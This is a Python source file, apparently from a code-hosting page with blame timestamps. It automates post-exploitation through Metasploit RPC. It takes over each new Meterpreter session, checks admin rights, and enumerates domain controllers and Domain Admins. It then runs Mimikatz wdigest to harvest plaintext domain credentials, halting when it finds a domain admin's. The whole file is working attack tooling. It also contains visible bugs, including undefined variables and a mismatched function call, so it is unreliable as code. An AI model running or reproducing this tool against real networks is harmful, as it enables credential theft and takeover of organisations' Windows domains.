Files
async-meterpreter-controller/async-meterpreter-controller.py

552 lines
18 KiB
Python
Raw Normal View History

2018-06-15 23:09:08 -06:00
#!/usr/bin/env python3
import re
import os
import sys
import time
import signal
import msfrpc
import asyncio
import argparse
import netifaces
from IPython import embed
from termcolor import colored
from netaddr import IPNetwork, AddrFormatError
from subprocess import Popen, PIPE, CalledProcessError
NEW_SESS_DATA = {}
2018-06-18 20:09:51 -06:00
DOMAIN_DATA = {'domain':None, 'domain_admins':[], 'domain_controllers':[], 'high_priority_ips':[], 'creds':[]}
2018-06-15 23:09:08 -06:00
def parse_args():
# Create the arguments
parser = argparse.ArgumentParser()
parser.add_argument("-l", "--hostlist", help="Host list file")
parser.add_argument("-p", "--password", default='123', help="Password for msfrpc")
parser.add_argument("-u", "--username", default='msf', help="Username for msfrpc")
return parser.parse_args()
# Colored terminal output
def print_bad(msg, sess_num):
if sess_num:
print(colored('[-] ', 'red') + 'Session {} '.format(str(sess_num)).ljust(12)+'- '+msg)
else:
print(colored('[-] ', 'red') + msg)
def print_info(msg, sess_num):
if sess_num:
print(colored('[*] ', 'blue') + 'Session {} '.format(str(sess_num)).ljust(12)+'- '+msg)
else:
print(colored('[*] ', 'blue') + msg)
def print_good(msg, sess_num):
if sess_num:
print(colored('[+] ', 'green') + 'Session {} '.format(str(sess_num)).ljust(12)+'- '+msg)
else:
print(colored('[+] ', 'green') + msg)
def print_great(msg, sess_num):
if sess_num:
print(colored('[*] ', 'yellow', attrs=['bold']) + 'Session {} '.format(str(sess_num)).ljust(12)+'- '+msg)
else:
print(colored('[!] ', 'yellow') + msg)
def kill_tasks():
print()
print_info('Killing tasks then exiting...', None)
2018-06-18 20:09:51 -06:00
embed()
2018-06-15 23:09:08 -06:00
for task in asyncio.Task.all_tasks():
task.cancel()
def get_iface():
'''
Gets the right interface for Responder
'''
try:
iface = netifaces.gateways()['default'][netifaces.AF_INET][1]
except:
ifaces = []
for iface in netifaces.interfaces():
# list of ipv4 addrinfo dicts
ipv4s = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])
for entry in ipv4s:
addr = entry.get('addr')
if not addr:
continue
if not (iface.startswith('lo') or addr.startswith('127.')):
ifaces.append(iface)
iface = ifaces[0]
return iface
def get_local_ip(iface):
'''
Gets the the local IP of an interface
'''
ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']
return ip
async def get_shell_info(client, sess_num):
sysinfo_cmd = 'sysinfo'
2018-06-16 01:08:40 -06:00
sysinfo_end_str = [b'Meterpreter : ']
2018-06-15 23:09:08 -06:00
2018-06-18 20:09:51 -06:00
sysinfo_output, err = await run_session_cmd(client, sess_num, sysinfo_cmd, sysinfo_end_str)
if err:
print_bad('Session appears to be broken', sess_num)
return [b'ERROR']
2018-06-15 23:09:08 -06:00
else:
2018-06-18 20:09:51 -06:00
sysinfo_split = sysinfo_output.splitlines()
2018-06-15 23:09:08 -06:00
getuid_cmd = 'getuid'
2018-06-16 01:08:40 -06:00
getuid_end_str = [b'Server username:']
2018-06-15 23:09:08 -06:00
2018-06-18 20:09:51 -06:00
getuid_output, err = await run_session_cmd(client, sess_num, getuid_cmd, getuid_end_str)
if err:
print_bad('Session appears to be dead', sess_num)
return [b'ERROR']
2018-06-15 23:09:08 -06:00
else:
2018-06-18 20:09:51 -06:00
getuid = b'User : '+getuid_output.split(b'Server username: ')[-1].strip().strip()
2018-06-15 23:09:08 -06:00
shell_info_list = [getuid] + sysinfo_split
return shell_info_list
def get_domain(shell_info):
for l in shell_info:
2018-06-18 20:09:51 -06:00
if l == b'ERROR':
return l
l = l.decode('utf8')
2018-06-15 23:09:08 -06:00
l_split = l.split(':')
if 'Domain ' in l_split[0]:
if 'WORKGROUP' in l_split[1]:
2018-06-18 20:09:51 -06:00
return b'no domain'
2018-06-15 23:09:08 -06:00
else:
domain = l_split[-1].strip()
2018-06-18 20:09:51 -06:00
return domain.encode()
2018-06-15 23:09:08 -06:00
def is_domain_joined(user_info, domain):
2018-06-18 20:09:51 -06:00
if user_info != b'ERROR':
info_split = user_info.split(b':')
dom_and_user = info_split[1].strip()
dom_and_user_split = dom_and_user.split(b'\\')
dom = dom_and_user_split[0]
user = dom_and_user_split[1]
2018-06-15 23:09:08 -06:00
2018-06-18 20:09:51 -06:00
if domain != b'no domain':
if dom.lower() in domain.lower():
return b'True'
return b'False'
2018-06-15 23:09:08 -06:00
def print_shell_data(shell_info, admin_shell, local_admin, sess_num_str):
print_info('New shell info', None)
for l in shell_info:
2018-06-18 20:09:51 -06:00
if l == b'ERROR':
pass#####
print(' '+l.decode('utf8'))
2018-06-15 23:09:08 -06:00
msg = ''' Admin shell : {}
Local admin : {}
Session number : {}'''.format(
admin_shell.decode('utf8'),
local_admin.decode('utf8'),
sess_num_str)
print(msg)
async def sess_first_check(client, sess_num):
global NEW_SESS_DATA
if b'first_check' not in NEW_SESS_DATA[sess_num]:
2018-06-18 20:09:51 -06:00
sess_num_str = str(sess_num)
NEW_SESS_DATA[sess_num][b'first_check'] = b'False'
2018-06-15 23:09:08 -06:00
print_good('Gathering shell info...', sess_num)
# Give meterpeter chance to open
await asyncio.sleep(2)
NEW_SESS_DATA[sess_num][b'session_number'] = sess_num_str.encode()
2018-06-18 20:09:51 -06:00
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
2018-06-15 23:09:08 -06:00
shell_info = await get_shell_info(client, sess_num)
2018-06-18 20:09:51 -06:00
if shell_info == [b'ERROR']:
2018-06-15 23:09:08 -06:00
return
2018-06-18 20:09:51 -06:00
domain = get_domain(shell_info)
NEW_SESS_DATA[sess_num][b'domain'] = domain
NEW_SESS_DATA[sess_num][b'domain_joined'] = is_domain_joined(shell_info[0], domain)
2018-06-15 23:09:08 -06:00
2018-06-18 20:09:51 -06:00
admin_shell, local_admin = await check_privs(client, sess_num)
2018-06-15 23:09:08 -06:00
print_shell_data(shell_info, admin_shell, local_admin, sess_num_str)
# Update DOMAIN_DATA for domain admins and domain controllers
await get_domain_data(client, sess_num)
2018-06-18 20:09:51 -06:00
async def check_privs(client, sess_num):
global NEW_SESS_DATA
2018-06-15 23:09:08 -06:00
cmd = 'run post/windows/gather/win_privs'
2018-06-18 20:09:51 -06:00
end_str = [b'==================']
2018-06-15 23:09:08 -06:00
2018-06-18 20:09:51 -06:00
output, err = await run_session_cmd(client, sess_num, cmd, end_str)
if err:
admin_shell = b'ERROR'
local_admin = b'ERROR'
2018-06-15 23:09:08 -06:00
2018-06-18 20:09:51 -06:00
else:
split_out = output.splitlines()
2018-06-15 23:09:08 -06:00
user_info_list = split_out[5].split()
system = user_info_list[1]
user = user_info_list[5]
2018-06-18 20:09:51 -06:00
admin_shell = user_info_list[0]
local_admin = user_info_list[2]
2018-06-15 23:09:08 -06:00
2018-06-18 20:09:51 -06:00
NEW_SESS_DATA[sess_num][b'admin_shell'] = admin_shell
NEW_SESS_DATA[sess_num][b'local_admin'] = local_admin
2018-06-15 23:09:08 -06:00
2018-06-18 20:09:51 -06:00
return (admin_shell, local_admin)
2018-06-15 23:09:08 -06:00
async def get_domain_controllers(client, sess_num):
global DOMAIN_DATA
2018-06-16 01:08:40 -06:00
global NEW_SESS_DATA
2018-06-15 23:09:08 -06:00
print_info('Getting domain controller...', sess_num)
cmd = 'run post/windows/gather/enum_domains'
2018-06-16 01:08:40 -06:00
end_str = [b'[+] Domain Controller:']
2018-06-15 23:09:08 -06:00
2018-06-18 20:09:51 -06:00
output, err = await run_session_cmd(client, sess_num, cmd, end_str)
2018-06-15 23:09:08 -06:00
# Catch timeout
2018-06-18 20:09:51 -06:00
if err:
2018-06-16 01:08:40 -06:00
return
2018-06-15 23:09:08 -06:00
2018-06-18 20:09:51 -06:00
else:
output = output.decode('utf8')
if 'Domain Controller: ' in output:
dc = output.split('Domain Controller: ')[-1].strip()
if dc not in DOMAIN_DATA['domain_controllers']:
DOMAIN_DATA['domain_controllers'].append(dc)
print_good('Domain controller: '+dc, sess_num)
2018-06-15 23:09:08 -06:00
async def get_domain_admins(client, sess_num, ran_once):
global DOMAIN_DATA
2018-06-16 01:08:40 -06:00
global NEW_SESS_DATA
2018-06-15 23:09:08 -06:00
print_info('Getting domain admins...', sess_num)
cmd = 'run post/windows/gather/enum_domain_group_users GROUP="Domain Admins"'
2018-06-16 01:08:40 -06:00
end_str = [b'[+] User list']
2018-06-15 23:09:08 -06:00
2018-06-18 20:09:51 -06:00
output, err = await run_session_cmd(client, sess_num, cmd, end_str)
if err:
2018-06-15 23:09:08 -06:00
return
output = output.decode('utf8')
da_line_start = '[*] \t'
if da_line_start in output:
split_output = output.splitlines()
domain_admins = []
for l in split_output:
if l.startswith(da_line_start):
domain_admin = l.split(da_line_start)[-1].strip()
domain_admins.append(domain_admin)
for x in domain_admins:
if x not in DOMAIN_DATA['domain_admins']:
print_good('Domain admin: '+x, sess_num)
DOMAIN_DATA['domain_admins'].append(x)
# If we don't get any DAs from the shell we try one more time
else:
if ran_once:
print_bad('No domain admins found', sess_num)
else:
print_bad('No domain admins found, trying one more time', sess_num)
await get_domain_admins(client, sess_num, True)
async def get_domain_data(client, sess_num):
''' Callback for after we gather all the initial shell data '''
global DOMAIN_DATA
# Update domain data
if b'domain' in NEW_SESS_DATA[sess_num]:
DOMAIN_DATA['domain'] = NEW_SESS_DATA[sess_num][b'domain']
# If no domain admin list found yet then find them
if NEW_SESS_DATA[sess_num][b'domain_joined'] == b'True':
if len(DOMAIN_DATA['domain_admins']) == 0:
await get_domain_admins(client, sess_num, False)
if len(DOMAIN_DATA['domain_controllers']) == 0:
await get_domain_controllers(client, sess_num)
def update_session(session, sess_num):
global NEW_SESS_DATA
if sess_num in NEW_SESS_DATA:
# Update session with the new key:value's in NEW_SESS_DATA
# This will not change any of the MSF session data, just add new key:value pairs
NEW_SESS_DATA[sess_num] = add_session_keys(session)
2018-06-18 20:09:51 -06:00
2018-06-15 23:09:08 -06:00
else:
NEW_SESS_DATA[sess_num] = session
2018-06-18 20:09:51 -06:00
# Add empty error key to collect future errors
if b'error' not in NEW_SESS_DATA[sess_num]:
NEW_SESS_DATA[sess_num][b'error'] = []
async def run_mimikatz(client, sess_num):
global DOMAIN_DATA
load_mimi_cmd = 'load mimikatz'
load_mimi_end_strs = [b'Success.', b'has already been loaded.']
load_mimi_output, err = await run_session_cmd(client, sess_num, load_mimi_cmd, load_mimi_end_strs)
if err:
return
wdigest_cmd = 'wdigest'
wdigest_end_str = [b' Password']
mimikatz_output, err = await run_session_cmd(client, sess_num, wdigest_cmd, wdigest_end_str)
if err:
return
else:
mimikatz_split = mimikatz_output.splitlines()
for l in mimikatz_split:
if l.startswith(b'0;'):
line_split = l.split()
dom = line_split[2]
if dom.lower() == NEW_SESS_DATA[sess_num][b'domain'].lower():
user = '{}\{}'.format(dom.decode('utf8'), line_split[3].decode('utf8'))
password = line_split[4]
if b'wdigest KO' not in password:
user_and_pass = '{}:{}'.format(user, password.decode('utf8'))
if user_and_pass not in DOMAIN_DATA['creds']:
DOMAIN_DATA['creds'].append(user_and_pass)
print_good(msg, sess_num)
check_for_DA(user_and_pass)
def check_for_DA(user_and_pass):
if user_and_pass in DOMAIN_DATA['domain_admins']:
print_good('Domain admin found! {}'.format(user_and_pass))
kill_tasks()
sys.exit()
async def do_stuff_with_session(client, sess_num):
##################
# YOUR CODE HERE #
##################
await run_mimikatz(client, sess_num)
async def attack(client, sess_num):
# Is admin
if NEW_SESS_DATA[sess_num][b'admin_shell'] == b'True':
await do_stuff_with_session(client, sess_num)
async def attack_with_session(client, session, sess_num):
''' Attacks with a session '''
update_session(session, sess_num)
# Get and print session info if first time we've checked the session
task = await sess_first_check(client, sess_num)
if task:
await asyncio.wait(task)
if is_session_broken(sess_num) == False:
await attack(client, sess_num)
2018-06-15 23:09:08 -06:00
def get_output(client, cmd, sess_num):
output = client.call('session.meterpreter_read', [str(sess_num)])
# Everythings fine
if b'data' in output:
2018-06-18 20:09:51 -06:00
return (output[b'data'], None)
2018-06-15 23:09:08 -06:00
# Got an error from the client.call
elif b'error_message' in output:
decoded_err = output[b'error_message'].decode('utf8')
print_bad(error_msg.format(sess_num_str, decoded_err), sess_num)
2018-06-18 20:09:51 -06:00
return (None, decoded_err)
2018-06-15 23:09:08 -06:00
# Some other error catchall
else:
2018-06-18 20:09:51 -06:00
return (None, cmd)
2018-06-15 23:09:08 -06:00
def get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs):
2018-06-18 20:09:51 -06:00
global NEW_SESS_DATA
2018-06-15 23:09:08 -06:00
script_errors = [b'[-] post failed',
b'error in script',
b'operation failed',
b'unknown command',
2018-06-16 01:08:40 -06:00
b'operation timed out',
b'unknown session id']
2018-06-18 20:09:51 -06:00
err = None
2018-06-15 23:09:08 -06:00
# Got an error from output
if any(x in output.lower() for x in script_errors):
2018-06-18 20:09:51 -06:00
err = 'Command [{}] failed with error: {}'.format(cmd, output.decode('utf8').strip())
2018-06-15 23:09:08 -06:00
# If no terminating string specified just wait til timeout
if output == b'':
counter += sleep_secs
if counter > timeout:
2018-06-18 20:09:51 -06:00
err = 'Command [{}] timed out'.format(cmd)
2018-06-15 23:09:08 -06:00
# No output but we haven't reached timeout yet
2018-06-18 20:09:51 -06:00
return (output, err, counter)
2018-06-15 23:09:08 -06:00
2018-06-16 01:08:40 -06:00
async def run_session_cmd(client, sess_num, cmd, end_strs, timeout=30):
2018-06-15 23:09:08 -06:00
''' Will only return a str if we failed to run a cmd'''
global NEW_SESS_DATA
2018-06-18 20:09:51 -06:00
err = None
output = None
2018-06-15 23:09:08 -06:00
error_msg = 'Error in session {}: {}'
sess_num_str = str(sess_num)
print_info('Running [{}]'.format(cmd), sess_num)
while NEW_SESS_DATA[sess_num][b'busy'] == b'True':
await asyncio.sleep(1)
NEW_SESS_DATA[sess_num][b'busy'] = b'True'
res = client.call('session.meterpreter_run_single', [str(sess_num), cmd])
if b'error_message' in res:
err_msg = res[b'error_message'].decode('utf8')
print_bad(error_msg.format(sess_num_str, err_msg), sess_num)
2018-06-18 20:09:51 -06:00
NEW_SESS_DATA[sess_num][b'error'].append(err_msg)
return (None, err_msg)
2018-06-15 23:09:08 -06:00
elif res[b'result'] == b'success':
counter = 0
sleep_secs = 0.5
try:
while True:
await asyncio.sleep(sleep_secs)
2018-06-18 20:09:51 -06:00
output, err = get_output(client, cmd, sess_num)
2018-06-15 23:09:08 -06:00
# Error from meterpreter console
2018-06-18 20:09:51 -06:00
if err:
NEW_SESS_DATA[sess_num][b'error'].append(err_msg)
print_bad('Meterpreter error: {}'.format(err), sess_num)
break
# Check for errors from cmd's output
output, err, counter = get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs)
if err:
NEW_SESS_DATA[sess_num][b'error'].append(err)
print_bad(err, sess_num)
break
2018-06-15 23:09:08 -06:00
# Successfully completed
2018-06-16 01:08:40 -06:00
if end_strs:
if any(end_str in output for end_str in end_strs):
2018-06-18 20:09:51 -06:00
break
2018-06-15 23:09:08 -06:00
# If no end_str specified just return once we have any data
else:
if len(output) > 0:
2018-06-18 20:09:51 -06:00
break
2018-06-15 23:09:08 -06:00
# This usually occurs when the session suddenly dies or user quits it
except Exception as e:
err = 'exception below likely due to abrupt death of session'
print_bad(error_msg.format(sess_num_str, err), sess_num)
print_bad(' '+str(e), None)
2018-06-18 20:09:51 -06:00
NEW_SESS_DATA[sess_num][b'error'].append(err)
2018-06-15 23:09:08 -06:00
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
2018-06-18 20:09:51 -06:00
return (output, err)
2018-06-15 23:09:08 -06:00
# b'result' not in res, b'error_message' not in res, just catch everything else as an error
else:
2018-06-18 20:09:51 -06:00
err = res[b'result'].decode('utf8')
NEW_SESS_DATA[sess_num][b'error'].append(err)
2018-06-15 23:09:08 -06:00
print_bad(res[b'result'].decode('utf8'), sess_num)
2018-06-18 20:09:51 -06:00
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
return (output, err)
2018-06-15 23:09:08 -06:00
def get_perm_token(client):
# Authenticate and grab a permanent token
client.login(args.username, args.password)
client.call('auth.token_add', ['123'])
client.token = '123'
return client
def is_session_broken(sess_num):
''' We remove 2 kinds of errored sessions: 1) timed out on sysinfo 2) shell died abruptly '''
global NEW_SESS_DATA
if b'error' in NEW_SESS_DATA[sess_num]:
# Session timed out on initial sysinfo cmd
2018-06-16 01:08:40 -06:00
if b'domain' not in NEW_SESS_DATA[sess_num]:
2018-06-15 23:09:08 -06:00
return True
2018-06-18 20:09:51 -06:00
elif b'domain' == b'ERROR':
return True
2018-06-15 23:09:08 -06:00
# Session abruptly died
2018-06-18 20:09:51 -06:00
if NEW_SESS_DATA[sess_num][b'error'] == 'exception below likely due to abrupt death of session':
2018-06-15 23:09:08 -06:00
return True
# Session timed out
2018-06-16 01:08:40 -06:00
if 'Rex::TimeoutError' in NEW_SESS_DATA[sess_num][b'error']:
2018-06-15 23:09:08 -06:00
return True
return False
def add_session_keys(session, sess_num):
2018-06-18 20:09:51 -06:00
for k in NEW_SESS_DATA[sess_num]:
2018-06-15 23:09:08 -06:00
if k not in session:
session[k] = NEW_SESS_DATA[sess_num].get(k)
return session
async def check_for_sessions(client, loop):
global NEW_SESS_DATA
2018-06-18 20:09:51 -06:00
print_info('Waiting on new meterpreter session', None)
2018-06-15 23:09:08 -06:00
while True:
# Get list of MSF sessions from RPC server
sessions = client.call('session.list')
for s in sessions:
# Do stuff with session
if s not in NEW_SESS_DATA:
asyncio.ensure_future(attack_with_session(client, sessions[s], s))
await asyncio.sleep(1)
def main(args):
client = msfrpc.Msfrpc({})
client = get_perm_token(client)
loop = asyncio.get_event_loop()
loop.add_signal_handler(signal.SIGINT, kill_tasks)
task = check_for_sessions(client, loop)
try:
loop.run_until_complete(task)
except asyncio.CancelledError:
print_info('Tasks gracefully downed a cyanide pill before defecating themselves and collapsing in a twitchy pile', None)
finally:
loop.close()
if __name__ == "__main__":
args = parse_args()
if os.geteuid():
print_bad('Run as root', None)
sys.exit()
main(args)